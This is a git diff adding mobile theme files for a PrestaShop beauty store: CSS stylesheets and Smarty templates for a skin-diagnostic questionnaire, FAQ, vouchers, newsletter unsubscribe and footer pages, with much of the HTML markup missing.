.ui-panel-content-fixed-toolbar-display-push.ui-panel-content-fixed-toolbar-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal.ui-panel-content-fixed-toolbar-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-push.ui-panel-content-wrap-position-left,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-reveal.ui-panel-content-wrap-position-left{margin-right:17em}.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-push.ui-panel-content-fixed-toolbar-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal.ui-panel-content-fixed-toolbar-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-push.ui-panel-content-wrap-position-right,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-wrap-display-reveal.ui-panel-content-wrap-position-right{margin-left:17em}.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-push,.ui-responsive-panel.ui-page-panel-open .ui-panel-content-fixed-toolbar-display-reveal{width:auto}.ui-responsive-panel .ui-panel-dismiss-display-push{display:none}} + + +.ui-focus,.ui-btn:focus{ + -moz-box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A;-webkit-box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A;box-shadow:inset 0 0 3px #B9DA1A,0px 0 9px #B9DA1A} +.ui-btn-hover-c, +.ui-btn-active{ + border:1px solid #B9DA1A;background:#B9DA1A;font-weight:bold;color:#000000;cursor:pointer;text-decoration:none;background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #c3d765 ));background-image:-webkit-linear-gradient( #B9DA1A,#c3d765 );background-image:-moz-linear-gradient( #B9DA1A,#c3d765 );background-image:-ms-linear-gradient( #B9DA1A,#c3d765 );background-image:-o-linear-gradient( #B9DA1A,#c3d765 );background-image:linear-gradient( #B9DA1A,#c3d765 );font-family:Arial,Helvetica,sans-serif +} \ No newline at end of file diff --git a/themes/default/_mobile/css/maintenance.css b/themes/default/_mobile/css/maintenance.css new file mode 100755 index 0000000..c145ce2 --- /dev/null +++ b/themes/default/_mobile/css/maintenance.css @@ -0,0 +1,20 @@ +#maintenance { + margin:0 auto; + width:100%; + font:normal 20px Arial, Verdana, sans-serif; + font-weight: bold; + color:#333; +} +#maintenance #store { + text-align:center; +} +#maintenance #message { + margin:20px 20px; + text-align:center; +} +#maintenance #prestashop { + background:url(../img/bg_maintenance.png) no-repeat 100% 0 #fff; + background-position:center bottom; + height:360px; + margin: 60px; +} \ No newline at end of file diff --git a/themes/default/_mobile/desinscription.tpl b/themes/default/_mobile/desinscription.tpl new file mode 100755 index 0000000..3fa28e6 --- /dev/null +++ b/themes/default/_mobile/desinscription.tpl @@ -0,0 +1,19 @@ +
        +

        [{l s='Désinscription de la newsletter Garancia'}]

        +
        +
        +

        {l s='Si vous êtes sûr(e) de vouloir vous désabonner (Vous allez nous manquer !) indiquez votre adresse e-mail.'}

        + + + + +
        + + +
        +
        + +
        +
        +
        +
        +

        [{$categorie->name}]

        + +
        \ No newline at end of file diff --git a/themes/default/_mobile/diagnostic-share.tpl b/themes/default/_mobile/diagnostic-share.tpl new file mode 100755 index 0000000..cde9859 --- /dev/null +++ b/themes/default/_mobile/diagnostic-share.tpl @@ -0,0 +1,70 @@ + +{* +Je viens de faire mon DIAGNOSTIC BEAUTÉ PERSONNALISÉ sur www.garancia-beauty.com. Toi aussi, viens découvrir quel est le RITUEL MAGIQUE GARANCIA adapté à ton type de peau en cliquant sur le lien ci-dessous +*} + + + +
        +
        +
        +
        + + {l s='Envoyer'} + +

        {l s='Invitez vos amis à faire leur diagnostic'}

        +
        + \ No newline at end of file diff --git a/themes/default/_mobile/diagnostic.tpl b/themes/default/_mobile/diagnostic.tpl new file mode 100755 index 0000000..c042b7a --- /dev/null +++ b/themes/default/_mobile/diagnostic.tpl @@ -0,0 +1,240 @@ + +{capture name=path}{l s='Votre diagnostic'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + + +
        + {if $step<1} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} +
        +
        +

        {l s='Savéria COSTE'}

        +

        {l s='Savéria COSTE'}, {l s='Docteur en Pharmacie, vous fait '}
        {l s='partager son expertise pour votre diagnostic de peau.'}

        +

        {l s='Avez-vous les bons gestes ? Les bonnes routines beauté ?'}
        {l s='Répondez à ces quelques questions pour avoir un'}
        {l s='diagnostic clair et précis.'}

        +
        +
        +
        + {else if $step==7} + + + +

        [{l s='Votre rituel beauté magique'}]

        + {include file="$tpl_dir./errors.tpl"} +

        {l s='Découvrez votre rituel beauté personnalisé complètement magique !'}

        +
        +
        + {if isset($categoryA)}{include file="./diagnostic-items.tpl" categorie=$categoryA rituel=1}{/if} + {if isset($categoryB)}{include file="./diagnostic-items.tpl" categorie=$categoryB rituel=2}{/if} + {if isset($categoryC)}{include file="./diagnostic-items.tpl" categorie=$categoryC rituel=3}{/if} + {if isset($categoryD)}{include file="./diagnostic-items.tpl" categorie=$categoryD rituel=4}{/if} +
        +
        +
        + {include file="./diagnostic-share.tpl"} +
        +
        +
        + +
        +
        + + {else} +

        [{l s='Diagnostic'}]

        + {include file="$tpl_dir./errors.tpl"} + + + +
        + {foreach from=$full_rep item=rep} + {if in_array($rep.id_item,$Q_a_Masquer)} + {assign var=QAMasquer value=1} + {else} + {assign var=QAMasquer value=0} + {/if} + {if $rep.id_item==5} +

        {l s='Avez-vous des zones de brillance au niveau :'}

        + {/if} + {if $rep.id_item==14} + {if $QAMasquer==1} + + {else} +
        {* curseur à faire *} + + {if $rep.id_item==5 || $rep.id_item==6} +

        {$rep.question}

        + {else} +

        {$rep.question}

        + {/if} + +
        + 1 + 2 + 3 + 4 + 5 +
        +
        + 1 + 2 + 3 + 4 + 5 +
        +
        +
        + + + {/if} + {else} + {if $rep.id_item==12|| $rep.id_item==13} +
        + {else} +
        + {/if} + {if $QAMasquer==1} + + {else} + {if $rep.id_item==5 || $rep.id_item==6} +

        {$rep.question}

        + {else} +

        {$rep.question}

        + {/if} +
        + {if $rep.repA!=""}{if $rep.repC!=""}
        {/if}{/if} + {if $rep.repB!=""}{if $rep.repC!=""}
        {/if} + {/if} + + {if $rep.repC!=""}{if $rep.repD!=""}
        {/if} + {/if} + + {if $rep.repD!=""}{if $rep.repE!=""}
        {/if} + {/if} + {if $rep.repE!=""}{/if} +
        +
        + {/if} + {if $rep.id_item==12|| $rep.id_item==13} +
        + {/if} + {/if} + {if $rep.texterepA!=""}{/if} + {if $rep.texterepB!=""}{/if} + {if $rep.texterepC!=""}{/if} + {if $rep.texterepD!=""}{/if} + {if $rep.texterepE!=""}{/if} + + {/foreach} + + + +
        + + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/_mobile/discount.tpl b/themes/default/_mobile/discount.tpl new file mode 100755 index 0000000..a161d59 --- /dev/null +++ b/themes/default/_mobile/discount.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='My vouchers'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + + {if isset($discount) && count($discount) && $nbDiscounts} + + + + + + + + + + + + + + {foreach from=$discount item=discountDetail name=myLoop} + + + + + + + + + + {/foreach} + +
        {l s='Code'}{l s='Description'}{l s='Quantity'}{l s='Value'}*{l s='Minimum'}{l s='Cumulative'}{l s='Expiration date'}
        {$discountDetail.name}{$discountDetail.description}{$discountDetail.quantity_for_user} + {if $discountDetail.id_discount_type == 1} + {$discountDetail.value|escape:'htmlall':'UTF-8'}% + {elseif $discountDetail.id_discount_type == 2} + {convertPrice price=$discountDetail.value} + {else} + {l s='Free shipping'} + {/if} + + {if $discountDetail.minimal == 0} + {l s='None'} + {else} + {convertPrice price=$discountDetail.minimal} + {/if} + + {if $discountDetail.cumulable == 1} + {l s='Yes'} {l s='Yes'} + {else} + {l s='No'} {l s='No'} + {/if} + {dateFormat date=$discountDetail.date_to}
        +

        + *{l s='Tax included'} +

        + {else} +

        {l s='You do not have any vouchers.'}

        + {/if} + +
        diff --git a/themes/default/_mobile/errors.tpl b/themes/default/_mobile/errors.tpl new file mode 100755 index 0000000..7127f7f --- /dev/null +++ b/themes/default/_mobile/errors.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($errors) && $errors} + +{/if} diff --git a/themes/default/_mobile/espacepharmaciens.tpl b/themes/default/_mobile/espacepharmaciens.tpl new file mode 100755 index 0000000..9985c4f --- /dev/null +++ b/themes/default/_mobile/espacepharmaciens.tpl @@ -0,0 +1,23 @@ +{capture name=path}{l s='Espace pharmaciens'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Espace pharmaciens'}]

        +
        +
        +
        +

        {l s='Pharmaciens,'}
        {l s='vous pourrez bientôt accéder'}
        {l s='à votre espace dédié.'}

        +

        {l s='Soyez le premier informé en remplissant les champs ci-dessous'}

        +

        + +

        +

        + +

        +

        + +

        +
        +
        +
        +
        +
        diff --git a/themes/default/_mobile/faq.tpl b/themes/default/_mobile/faq.tpl new file mode 100755 index 0000000..62ed327 --- /dev/null +++ b/themes/default/_mobile/faq.tpl @@ -0,0 +1,90 @@ +{capture name=path}{l s='F A Q'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        + {foreach from=$generationFAQ item=faqParent} + {if $faqParent.children|@count>0 || $faqParent.items|@count>0} +

        [{$faqParent.title}]

        + {if $faqParent.items|@count>0} +
        + {foreach from=$faqParent.items item=faqItem} +
        +

        {$faqItem.title}

        + +
        + {/foreach} +
        + {/if} + {if $faqParent.children|@count>0} +
        + {foreach from=$faqParent.children item=faqChild} +
        +

        {$faqChild.title}

        + +
        + {/foreach} +
        + {/if} + {/if} + {/foreach} +
        + + + {* +
        +

        [Questions générales]

        +
        +

        Est-ce que je peux me démaquiller avec Pscitt Magique Nouvelle Peau ?

        + +
        +

        [Questions produits]

        +
        +

        Pschitt Magique

        + +
        +
        +

        Pschitt Magique 2

        + +
        +
        + *} \ No newline at end of file diff --git a/themes/default/_mobile/footer.tpl b/themes/default/_mobile/footer.tpl new file mode 100755 index 0000000..d33754a --- /dev/null +++ b/themes/default/_mobile/footer.tpl @@ -0,0 +1,127 @@ +
        + +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        + + diff --git a/themes/default/_mobile/global.css b/themes/default/_mobile/global.css new file mode 100755 index 0000000..802ab62 --- /dev/null +++ b/themes/default/_mobile/global.css @@ -0,0 +1,3674 @@ +/* ################################################################################################## + PRESTASHOP CSS +################################################################################################## */ + +@font-face { + font-family: 'ProximaNova'; + src: url('../font/proxima-nova/proximanova-light-webfont.eot'); + src: url('../font/proxima-nova/proximanova-light-webfont.eot?#iefix') format('embedded-opentype'), + url('../font/proxima-nova/proximanova-light-webfont.woff') format('woff'), + url('../font/proxima-nova/proximanova-light-webfont.ttf') format('truetype'), + url('../font/proxima-nova/proximanova-light-webfont.svg#ProximaNovaLight') format('svg'); + font-weight: 100; + font-style: normal; + +} + +@font-face { + font-family: 'ProximaNova'; + src: url('../font/proxima-nova/proximanova-reg-webfont.eot'); + src: url('../font/proxima-nova/proximanova-reg-webfont.eot?#iefix') format('embedded-opentype'), + url('../font/proxima-nova/proximanova-reg-webfont.woff') format('woff'), + url('../font/proxima-nova/proximanova-reg-webfont.ttf') format('truetype'), + url('../font/proxima-nova/proximanova-reg-webfont.svg#ProximaNovaRegular') format('svg'); + font-weight: normal; + font-style: normal; + +} + +@font-face { + font-family: 'trajan'; + src: url('../font/trajan/trajanpro-regular.eot'); + src: url('../font/trajan/trajanpro-regular.eot?#iefix') format('embedded-opentype'), + url('../font/trajan/trajanpro-regular.woff') format('woff'), + url('../font/trajan/trajanpro-regular.ttf') format('truetype'), + url('../font/trajan/trajanpro-regular.svg#TrajanPro') format('svg'); +} +.products_relation ul{ + overflow: auto; +} + .products_relation ul li{ + float: left; + width: 100%; + } +.products_relation .img_related{ + float: left; + margin: 15px; +} +.products_relation .show_related{ + float: left; + margin: 11px 0; + width: 323px; + line-height: 25px; +} +.products_relation .show_related .more{ + background: #b9da1a; + border: 1px solid #c4c4c4; + color: #000; + font-family: Times new roman; + font-size: 16px; + padding: 10px 23px 10px 18px; + text-transform: uppercase; +} +.products_relation .show_related .more span{ margin-left: 10px; } + +.products_relation .show_related .more:hover { text-decoration: none; } + +.intro_blog_en{ + font-size: 18px; + color: #fff; + text-align: justify; + line-height: 24px; + font-family: 'ProximaNova'; + margin-bottom: 15px; + +} +.products_relation{} +.content .products_relation ul li{ + font-size: 12px; + padding: 15px 0; + text-transform: uppercase; +} + +/* **************************************************************************** + reset +**************************************************************************** */ +body#tinymce,body#tinymce p{color:#000000;background:none;} +html{color:#000;background:#000000;font-family:Arial,Sans-Serif;} +body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,button,textarea,p,blockquote,th,td{margin:0;padding:0} +table{border-collapse:collapse;border-spacing:0} +fieldset,img{border:0} +address,caption,cite,code,dfn,em,th,var,optgroup{font-style:inherit;font-weight:inherit} +del,ins{text-decoration:none} +caption,th{text-align:left} +h1,h2,h3,h4,h5,h6{font-size:100%;font-family:Times New Roman;font-weight:normal;padding:0;margin:0;} +h1{text-transform:uppercase;text-align:center;font-size:30px;color:#000000;} +h1.border{ + border-bottom:1px solid #000000; + margin-bottom:20px; + padding-bottom:20px; +} +h2{ + font-size:11px; + font-weight:bold; + color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +h4{ font-size:18px; font-weight:normal;text-transform:uppercase;text-align:center;color:#000000;} +textarea{resize:none} + p{ + color:#000000; + font-size:12px; + font-family:Arial,Sans-Serif; +} +q:before,q:after{content:''} +abbr,acronym{border:0;font-variant:normal} +sup{vertical-align:top} +.tiroir h3 sup{vertical-align:3px} +sub{vertical-align:baseline} +legend{color:#000} +input,button,textarea,select,optgroup,option{font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit} +input,button,textarea,select{font-size:100%} +li{list-style:none;} +.ie7 input, .ie7 select{line-height:18px} +a {cursor:pointer} +.align_center{text-align:center;} +.clearfix:before, +.clearfix:after { + content: "."; + display: block; + height: 0; + overflow: hidden +} +.clearfix:after {clear: both} +.clearfix {zoom: 1} +.uppercase{ + text-transform:uppercase; +} +a.underline{ + text-decoration:underline; +} +.relative{ + position:relative; +} +.floatRight{ + float:right; +} +#old_price, +.old_price{ + text-decoration:line-through; +} + +.noborder{ + border:0!important; +} +/* ************************************************************************************************ + struture +************************************************************************************************ */ +#page {} + /*#header {z-index:10;zoom:1}*/ + #columns {z-index:1} + #left_column {display:none;} + #center_column {width:100%} + #right_column {display:none;} + #footer {} +#index #center_column{width:1280px;margin:0 -141px;} +#module-systempay-redirect #center_column, +#faq #center_column, +#philosophie #center_column{width:100%;margin:0 0;} + +/* ************************************************************************************************ + generic style +************************************************************************************************ */ +body{ + font:normal 11px/14px Arial, Verdana, sans-serif; + color:#cccccc; + background:#000000; +} +body.content_only { + background: #FFF; +} + +/* positionnement ****************************************************************************** */ +.hidden {display:none} +.f_left {float:left} +.f_right {float:right} +p.center {text-align:center} +.clearBoth {clear:both} +.clear_block { + display:block; + clear:both; +} + +/* title *************************************************************************************** */ +h1 { + margin-bottom:20px; + font-size:24px; + line-height: 22px +} +h2 { + padding-bottom:20px; + font-size:18px +} +h3 { + padding-bottom:20px; + font-size:16px +} +.title_block { + padding-bottom:20px; + font-size:14px +} + +.hide-left-column #left_column {display:none} +.hide-left-column #center_column {width:757px} + +/* text **************************************************************************************** */ +p {padding-bottom:20px} + +p em {font-style:italic} + +.pre_comment { + font-family: Times New Roman, Arial, sans-serif; + font-size: 12px; + padding-bottom: 3px; + font-weight:bold; + text-transform: uppercase; +} + +.warning { + margin:0 0 10px 0; + padding:10px; + border:1px solid #ffcccc; + font-size:13px; + background:#ffcccc; + font-weight:bold; +} +.success { + margin:0 0 10px 0; + padding:10px; + border:1px solid #B9DA1A; + font-size:13px; + background: #B9DA1A; + font-weight:bold; +} +.error { + margin:0 0 10px 0; + padding:10px; + border:1px solid #ffcccc; + font-size:13px; + background:#ffcccc; + font-weight:bold; +} +.error li{ + color:#000000 +} +.error ol {margin-left:0px} +.error p.lnk { + margin-top:20px; + padding:0; + font-size:11px +} +.required {color:#990000} + +/* link **************************************************************************************** */ +a, a:active, a:visited { + color:#000000; + text-decoration:none; + outline: medium none +} + a:hover {text-decoration:underline} + + +/* HACK IOS ipad, iphone */ +input[type="text"], input[type="email"], input[type="search"], input[type="password"], input[type="submit"], input[type="image"] { + -webkit-appearance:none; + -moz-appearance:none; + appearance:none; + -webkit-border-radius:0px !important; + -moz-border-radius:0px !important; + border-radius:0px !important; +} + +/*buttons ************************************************************************************** */ +input.button_mini, input.button_small, input.button, input.button_large, +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +a.button_mini, a.button_small, a.button, a.button_large, +a.exclusive_mini, a.exclusive_small, a.exclusive, a.exclusive_large, +span.button_mini, span.button_small, span.button, span.button_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + color: #000000; + float:left; + line-height: 26px; + padding: 0 30px 0 14px; + width: auto; + background:url('../img/homeblockFleche1.png') no-repeat right center #B9DA1A; + cursor: pointer; + border:1px solid #a9c717; +} +#ProductPosts a {background:url('../img/homeblockFleche1.png') no-repeat left center; font-size: 12px; padding: 0 0 0 20px; } +*:first-child+html input.button_mini, *:first-child+html input.button_small, *:first-child+html input.button, *:first-child+html input.button_large, +*:first-child+html input.button_mini_disabled, *:first-child+html input.button_small_disabled, *:first-child+html input.button_disabled, *:first-child+html input.button_large_disabled, +*:first-child+html input.exclusive_mini, *:first-child+html input.exclusive_small, *:first-child+html input.exclusive, *:first-child+html input.exclusive_large, +*:first-child+html input.exclusive_mini_disabled, *:first-child+html input.exclusive_small_disabled, *:first-child+html input.exclusive_disabled, *:first-child+html input.exclusive_large_disabled { + border:none +} + + +/* input button */ +input.button_mini, input.button_small, input.button, input.button_large, +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled { + /*padding-bottom: 2px*/ +} + +/* disabled button */ +input.button_mini_disabled, input.button_small_disabled, input.button_disabled, input.button_large_disabled, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +span.button_mini, span.button_small, span.button, span.button_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + /*background-position: left -36px; + cursor: default; + color: #888!important*/ +} + +/* exclusive button */ +input.exclusive_mini, input.exclusive_small, input.exclusive, input.exclusive_large, +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, +a.exclusive_mini, a.exclusive_small, a.exclusive, a.exclusive_large, +span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large, span.exclusive_large_disabled { + /*color: white!important*/ +} + +/* exclusive disabled button */ +input.exclusive_mini_disabled, input.exclusive_small_disabled, input.exclusive_disabled, input.exclusive_large_disabled, span.exclusive_mini, span.exclusive_small, span.exclusive, span.exclusive_large { + /*color: #488c40!important*/ +} + +/* hover button */ +input.button_mini:hover, input.button_small:hover, input.button:hover, input.button_large:hover, +input.exclusive_mini:hover, input.exclusive_small:hover, input.exclusive:hover, input.exclusive_large:hover, +a.button_mini:hover, a.button_small:hover, a.button:hover, a.button_large:hover, +a.exclusive_mini:hover, a.exclusive_small:hover, a.exclusive:hover, a.exclusive_large:hover { + text-decoration:none; + /*background-position: left -50px*/ +} + +/* exclusive hover button */ +input.exclusive_mini:hover, input.exclusive_small:hover, input.exclusive:hover, input.exclusive_large:hover, a.exclusive_mini:hover, a.exclusive_small:hover, a.exclusive:hover, a.exclusive_large:hover { + /*color: white!important*/ +} + +/* active button */ +input.button_mini:active, input.button_small:active, input.button:active, input.button_large:active, +input.exclusive_mini:active, input.exclusive_small:active, input.exclusive:active, input.exclusive_large:active, +a.button_mini:active, a.button_small:active, a.button:active, a.button_large:active, +a.exclusive_mini:active, a.exclusive_small:active, a.exclusive:active, a.exclusive_large:active { + /*background-position: left -100px*/ +} + +/* classic buttons */ +input.button_mini, input.button_mini_disabled, input.exclusive_mini, input.exclusive_mini_disabled, a.button_mini, a.exclusive_mini, span.button_mini, span.exclusive_mini { + /*width: 30px; + background-image: url('../img/button-mini.png')*/ +} +input.button_small, input.button_small_disabled, input.exclusive_small, input.exclusive_small_disabled, a.button_small, a.exclusive_small, span.button_small, span.exclusive_small { + /*width: 60px; + background-image: url('../img/button-small.png')*/ +} +input.button_disabled, input.exclusive_disabled, span.exclusive { + border:1px solid #ccc; + color:#999; + background:url(../img/bg_bt_2.gif) repeat-x 0 0 #CCCCCC; + cursor:default; +} +input.button_large, input.button_large_disabled, input.exclusive_large, input.exclusive_large_disabled, a.button_large, a.exclusive_large, span.button_large, span.exclusive_large, span.exclusive_large_disabled { + /*width: 180px; + background-image: url('../img/button-large.png')*/ +} + +/* exclusive button */ +/*input.exclusive, input.exclusive_disabled, a.exclusive, span.exclusive { background-image: url('../img/button-medium_exclusive.png') } +input.exclusive_mini, input.exclusive_mini_disabled, a.exclusive_mini, span.exclusive_mini { background-image: url('../img/button-mini_exclusive.gif') } +input.exclusive_small, input.exclusive_small_disabled, a.exclusive_small, span.exclusive_small { background-image: url('../img/button-small_exclusive.gif') } +input.exclusive_large, input.exclusive_large_disabled, a.exclusive_large, span.exclusive_large, span.exclusive_large_disabled { background-image: url('../img/button-large_exclusive.gif') }*/ + +/* form **************************************************************************************** */ +form.std fieldset { + margin:20px 0; + border:1px solid #ccc +} + +/* table *************************************************************************************** */ +table.std, +table.table_block { + margin-bottom:20px; + width:100%; + border:0; + background:white; + border-collapse:inherit +} +table.std th, +table.table_block th { + padding:12px 20px; + line-height:16px; + font-size:12px; + color:#000000; + font-weight:bold; + text-transform:uppercase; + background:#b9da1a; + border:1px solid #9dba16; + border-left:0; +} +table.std th:first-child, +table.table_block th:first-child{ + border:1px solid #9dba16; +} +table.std tr.alternate_item, +table.table_block tr.alternate_item {background-color: #f3f3f3} +table.std td, +table.table_block td { + padding:12px 20px; + font-size:12px; + vertical-align:top; + color:#000000; + border:1px solid #dddddd; + border-top:0; + border-right:0; +} +table.std td:last-child, +table.table_block td:last-child{ + border-right:1px solid #dddddd; +} +table.std td a{ + color:#000000; +} + +/* BLOCK .block ******************************************************************************** */ +.block {margin-bottom:20px} +#footer .block {margin-bottom:0} + .block .title_block, .block h4 { + padding:6px 11px; + font-size:12px; + color:#fff; + text-transform:uppercase; + background:#383838; + text-align:left; + font-weight: bold; + } + .block .title_block a, .block h4 a {color:#fff} + .block ul {list-style-type:none} + .block li.last { border:none} + .block li a { + display:block; + color:#333 + } + +/* BLOCK .products_block *********************************************************************** */ +.products_block {} + .products_block li {float:left +} + .products_block li img {border:1px solid #d1d1d1} + +/* BLOCK customer privacy ******************************************************************* */ +.account_creation label{ + float:left; + padding-top:5px; + width:80%; + text-align:left; + cursor:pointer +} + +/* BLOCK .footer_links (cms pages) ************************************************************* */ +ul.footer_links { + list-style-type:none; + margin-bottom:20px +} +ul.footer_links li {float:left} +ul.footer_links li.f_right {float:right} +ul.footer_links li .icon { + position:relative; + top:6px; + left:0 +} + +/* barre comparaison / tri ********************************************************************* */ +.content_sortPagiBar {margin:20px 0;} +#center_column .sortPagiBar { + padding:10px; + font:normal 11px Arial, Verdana, sans-serif; + color:#666; + background:#eee; +} + #center_column .sortPagiBar strong {color:#000;} +#center_column .sortPagiBar p {padding:0;} +#center_column .sortPagiBar form {display:inline-block;} + +.ie7 #center_column .sortPagiBar form {display:inline;} + +.sortPagiBar #productsSortForm {float:right;} + .sortPagiBar select#selectPrductSort { + margin:0 0 0 10px; + color:#000; + border:1px solid #ccc + } + +.sortPagiBar #bt_compare { + padding:3px 7px; + border:none; + color:#fff; + background:url(../img/bg_bt_compare.gif) repeat-x 0 0 #111; +} + +.sortPagiBar .nbrItemPage {margin-left:40px;} + +.sortPagiBar .PrductSort {float:left;} + +.sortPagiBar .nbrProduct { + display:inline-block; + padding:0 10px; +} + +.sortPagiBar #nb_item {border:1px solid #ccc} + +/* pagination ********************************************************************************** */ +form.pagination {display:none;} + +div.pagination { + margin:10px 0; + text-align: center +} +ul.pagination {list-style-type:none} +ul.pagination li {display: inline;} +ul.pagination a, ul.pagination span { + display:inline-block; + height:24px; + width:24px; + border:1px solid #eee; + -moz-border-radius:2px; + -webkit-border-radius:2px; + border-radius:2px; + font:11px/24px Arial,Verdana,sans-serif; + color:#999 +} +ul.pagination a { + text-align:center; +} +ul.pagination a:hover { + color:#cccccc; + border:1px solid #333 +} +ul.pagination .current span { + color:#000; + border:1px solid #fff +} +ul.pagination li.disabled span {color:#ccc} + +#pagination_previous {float:left} +#pagination_next {float:right} + +.ie7 #pagination_previous, +.ie7 #pagination_next {float:none} + +#pagination_previous a, #pagination_previous span, +#pagination_next a, #pagination_next span { + padding:0 8px; + width:auto; +} +#pagination_previous span, +#pagination_next span { + color:#ccc; + border:1px solid #eee +} + +/* CART steps *********************************************************************** */ +ul#order_step { + background:url('../img/opcSteps.png') no-repeat 0 0; + height:45px; + line-height:45px; + margin:0 0 20px; + display:block; +} +ul#order_step.step2{ + background:url('../img/opcSteps.png') no-repeat 0 -45px; +} +ul#order_step.step3{ + background:url('../img/opcSteps.png') no-repeat 0 -90px; +} +ul#order_step li{ + width:33%; + height:45px; + line-height:45px; + float:left; +} +ul#order_step li span, +ul#order_step li a{ + display:block; + text-align:center; + color:#000000; + font-size:18px; + font-family:Times New Roman; + text-transform:uppercase; +} + +/*ul.step li#step_end {background:url(../img/step_end.gif) no-repeat center bottom transparent}*/ + +/* module productcomments ********************************************************************** */ +.rating { + clear: both; + display: block; + margin: 2em; + cursor: pointer; +} +.rating:after { + content: '.'; + display: block; + height: 0; + width: 0; + clear: both; + visibility: hidden +} +.cancel, .star { + overflow: hidden; + float: left; + margin:0 1px 0 0; + width: 16px; + height: 16px; + text-indent: -999em; + cursor: pointer +} +.cancel, .cancel a { background: url(../../../modules/productcomments/img/delete.gif) no-repeat 0 -16px !important } +.star, .star a { background: url(../../../modules/productcomments/img/star.gif) no-repeat 0 0 } +.cancel a, .star a { + display: block; + width: 100%; + height: 100%; + background-position: 0 0 +} +div.star_on a { background-position: 0 -16px } +div.star_hover a, div.star a:hover { background-position: 0 -32px } +.pack_content { margin: 10px 0 10px 0 } +.pack_price { + float: right; + margin-right: 3px; + font-size: 12px +} +.confirmation { + margin: 0 0 10px; + padding: 10px; + border: 1px solid #e6db55; + font-size: 13px; + background: none repeat scroll 0 0 #ffffe0; +} +#page .rte { background: transparent none repeat scroll 0 0 } + +.listcomment { + list-style-type:none; + margin:0 0 20px 0 !important; +} +.listcomment li { + padding:10px 0; + border-bottom:1px dotted #ccc; + color:#666 +} +.listcomment .titlecomment { + display:block; + font-weight:bold; + font-size:12px; + color:#cccccc +} +.listcomment .txtcomment { + display:block; + padding:5px 0; + color:#cccccc +} +.listcomment .authorcomment {} + +.comments .comment{ + background: 